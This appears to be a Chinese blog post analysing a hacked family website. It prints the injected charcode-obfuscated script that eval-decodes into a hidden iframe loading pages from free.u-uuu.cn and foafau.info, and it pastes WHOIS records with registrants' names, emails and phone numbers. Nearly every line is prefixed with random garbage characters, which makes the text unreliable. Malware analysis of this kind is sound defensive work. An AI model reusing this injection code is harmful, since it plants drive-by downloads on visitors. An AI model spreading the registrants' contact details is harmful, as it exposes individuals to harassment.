首发在我的博客里面，
J6rXb ui$ #](ML:! http://www.areway.cn/?p=175 @N1ta-D# j+PW9>Uh `:?padZG 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
;m@ >v?zE c{s<W}3Ds <script>t=’60,105,102,114,97,109,101,
`p*7MZ9 - 32,115,114,99,61,104,116,116,112,58,47,47,
mWta B>f 102,114,101,101,46,117,45,117,117,117,46,99,
31<hn+pE & 110,47,101,114,114,111,114,46,104,116,109,
u,4,s[ 32,119,105,100,116,104,61,49,48,48,32,104,
!f yE
Hk 101,105,103,104,116,61,48,62,60,47,105,102,
~)Ny8 Dh 114,97,109,101,62′;
OCY7 Bls4 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
2gb49y ~ ZLxe $.V_ <script>t=’60,105,102,114,97,109,101,32,115,
5H""_uw 114,99,61,104,116,116,112,58,47,47,102,114,
C7eaio W$ 101,101,46,117,45,117,117,117,46,99,110,47,
I eZ} `$[H 101,114,114,111,114,46,104,116,109,32,119,
j#<#o:If 105,100,116,104,61,49,48,48,32,104,101,105,
DZ(e^vq 103,104,116,61,48,62,60,47,105,102,114,97,
DTAE fs!ZW 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
SDcD( G document.write(t);</script>
,dK% [ eNi.d;8F <html xmlns=”
%ktU 51o http://www.w3.org/1999/xhtml Y')in7g “>
Eki7bT@ / <head>
W~Eq_J?I <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
x]Q+M2g? <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
=r:D]?8oC <title>首页 - 爱生活家庭网
H2p1gb# %~ZO Q%c1 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
{(7C=)8): 转换字符串后的大概内容是（谁点击后果自付）：
wa@X^]D8 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
`61 VP-r M@
! {m 查询玉米u-uuu.cn的详细信息：
(*^_ wq-; Domain Name: u-uuu.cn
/ QSK$ZDC ROID: 20070901s10001s64972306-cn
3[-L'!pOX3 Domain Status: ok
?v8B;="#w Registrant Organization: 王雷
VL7zU->
Registrant Name: 王雷
aG`G$3 _wx Administrative Email:
czlovexs@126.com ) l 0=j b Sponsoring Registrar: 北京万网志成科技有限公司
j;J4]]R;o Name Server:ns.yovole.com
2Q-kD?PO, Name Server:ns1.yovole.com
`b# w3 2 Registration Date: 2007-09-01 17:54
Bn-%).-ED Expiration Date: 2008-09-01 17:54
Zb<DgJ=3 最后PING了一下地址 都没有什么….
w!8h4U.
; X];a(7+2 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
rq T@i(i <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
#e R*|W7o <script language=”javascript” src=”
_lu.@IX- http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script GriL< =?t >
,hYUxh45 这个玉米应该有可能是木马作者的：
^A;v| U foafau.info的详细信息：
b"/P Access to INFO WHOIS information is provided to assist persons in
[;h@ q} determining the contents of a domain name registration record in the
- "h
{B Afilias registry database. The data in this record is provided by
q}1AV7$Ai Afilias Limited for informational purposes only, and Afilias does not
"72
_Sw guarantee its accuracy. This service is intended only for query-based
N r
uXXd access. You agree that you will use this data only for lawful purposes
<+
> y GPp and that, under no circumstances will you use this data to: (a) allow,
zT0FTAl ^ enable, or otherwise support the transmission by e-mail, telephone, or
/c]I|$v facsimile of mass unsolicited, commercial advertising or solicitations
CP["N(fF to entities other than the data recipient’s own existing customers; or
bUU_NqUf*3 (b) enable high volume, automated, electronic processes that send
xud =(HL l queries or data to the systems of Registry Operator, a Registrar, or
f.,S-1D]h Afilias except as reasonably necessary to register domain names or
s)8g4Yc* modify existing registrations. All rights reserved. Afilias reserves
7z5AI!s_ the right to modify these terms at any time. By submitting this query,
83OOM;' you agree to abide by this policy.
!C&}e8M|eX Domain ID:D22418703-LRMS
l2X '4_d Domain Name:FOAFAU.INFO
G0xk @SE Created On:20-Nov-2007 16:05:42 UTC
FgKDk!ci Last Updated On:20-Nov-2007 16:05:44 UTC
p/4GOU5g Expiration Date:20-Nov-2008 16:05:42 UTC
$
[0 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
- YJ7ne] Status:CLIENT DELETE PROHIBITED
4B^f"6' Status:CLIENT RENEW PROHIBITED
C[|jJ9VE, Status:CLIENT TRANSFER PROHIBITED
6psK2d 0 Status:CLIENT UPDATE PROHIBITED
}gGcYRT Status:TRANSFER PROHIBITED
[;83
IoU} Registrant ID:GODA-040110615
` >g:
: Registrant Name:liu hong
q : ?6 Registrant Organization:
cOx F.( L Registrant Street1:beijing
|J ?KHI Registrant Street2:
u01x}Ff~6 Registrant Street3:
tg7%@SI5^- Registrant City:beijing
doW_v u Registrant State/Province:
5O]ph[7 Registrant Postal Code:100000
at/bes W Registrant Country:CN
B1 4z<x}Q
Registrant Phone:+86.860108888777
PZ
AyHXY Registrant Phone Ext.:
P!0uAkt9C Registrant FAX:
Ip|~j}
} Registrant FAX Ext.:
gG&2fV}l6 Registrant Email:bbbshiji@163.com
=M*31>"I0 Admin ID:GODA-240110615
Fnzv& Admin Name:liu hong
rMdOE&5G Admin Organization:
gcQ>:m i Admin Street1:beijing
mXAX%M U Admin Street2:
![0\m2~iv Admin Street3:
OLXG0@ Admin City:beijing
^R!
qxSj Admin State/Province:
K\,)9:`t Admin Postal Code:100000
dE%rQE7' Admin Country:CN
o vvR{MTc Admin Phone:+86.860108888777
+Y I/(ko= Admin Phone Ext.:
VK[^v; Admin FAX:
zr-HL:js Admin FAX Ext.:
6H53FMqr Admin Email:bbbshiji@163.com
}[ld=9p( Billing ID:GODA-340110615
{M )Y6\v Billing Name:liu hong
a[ 1^)=/DM Billing Organization:
5.q2<a : Billing Street1:beijing
9 B{,q6 Billing Street2:
wJNiw)C Billing Street3:
-2{NI.-Xd Billing City:beijing
+ZQf$@+ Billing State/Province:
bLhTgss] ( Billing Postal Code:100000
pW 2NrBq@w Billing Country:CN
b>er 'U Billing Phone:+86.860108888777
4%Z! *W* Billing Phone Ext.:
xVf AlN37( Billing FAX:
Tu o`>ZA Billing FAX Ext.:
RpOGY{[)[ Billing Email:bbbshiji@163.com
8Mf 6*G#Y Tech ID:GODA-140110615
8LB,8 *L^ Tech Name:liu hong
wa\Yc,R Tech Organization:
}~DlOvsq Tech Street1:beijing
8 iGS=M Tech Street2:
^<}9# q/rt Tech Street3:
RXxi7^ U Tech City:beijing
a`
s2 z Tech State/Province:
@@-n/9>vs Tech Postal Code:100000
jAie[5 Tech Country:CN
- 0R5g3^*/ Tech Phone:+86.860108888777
lA<n}N)j Tech Phone Ext.:
; :4&nJ*qG Tech FAX:
NTb mI$( Tech FAX Ext.:
]bLI!2Kr Tech Email:bbbshiji@163.com
~:'tp28? Name Server:NS27.DOMAINCONTROL.COM
1hp`.!3]H Name Server:NS28.DOMAINCONTROL.COM
; wK; Name Server:
IW?).% F Name Server:
#>i Bu:\J Name Server:
DvB!- |ek Name Server:
O2g9<H Name Server:
;h<(vc3@f Name Server:
Q,9"/@:c, Name Server:
bA!n; Name Server:
w$[&ejFb Name Server:
}E0~' Name Server:
*:gx1wd Name Server:
t~]n"zgovz ro fj&{w 接着下载每个文件里面的代码：
`u$
Rd 一步一步看..
VHyH't_&s 
X'Q?Mh 
]Wr2 I M 
Z}#'.y\ f 
zisf8x7^W 
.ZQD`SRrI 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
